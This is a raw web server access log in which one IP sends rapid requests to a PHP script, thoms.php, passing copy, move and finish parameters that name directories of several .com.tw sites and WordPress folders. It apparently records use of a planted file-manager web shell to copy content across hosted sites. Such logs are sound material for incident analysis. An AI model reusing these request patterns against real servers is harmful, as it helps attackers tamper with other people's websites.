45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 13290 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 13623 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17362 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 12043 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17363 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14350 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13415 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:53 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:54 -0400] "GET /thoms.php?p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 200 13417 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:54 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:54 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17606 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:54 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 14328 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:54 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:54 -0400] "GET /thoms.php?p=bossini.com.tw%2F.well-known HTTP/1.1" 200 12581 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:54 -0400] "GET /thoms.php?p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 12041 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:54 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 13707 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17607 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 13276 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 12844 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 12845 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 12519 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 12521 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=wp-content%2Fthemes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?p=wp-content%2Fthemes HTTP/1.1" 200 12562 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18650 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18638 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18672 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18647 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18649 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18648 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18647 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18647 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18647 "https://163.245.207.76:443/thoms.php?p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18579 "https://163.245.207.76:443/thoms.php?p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 17547 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:56 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
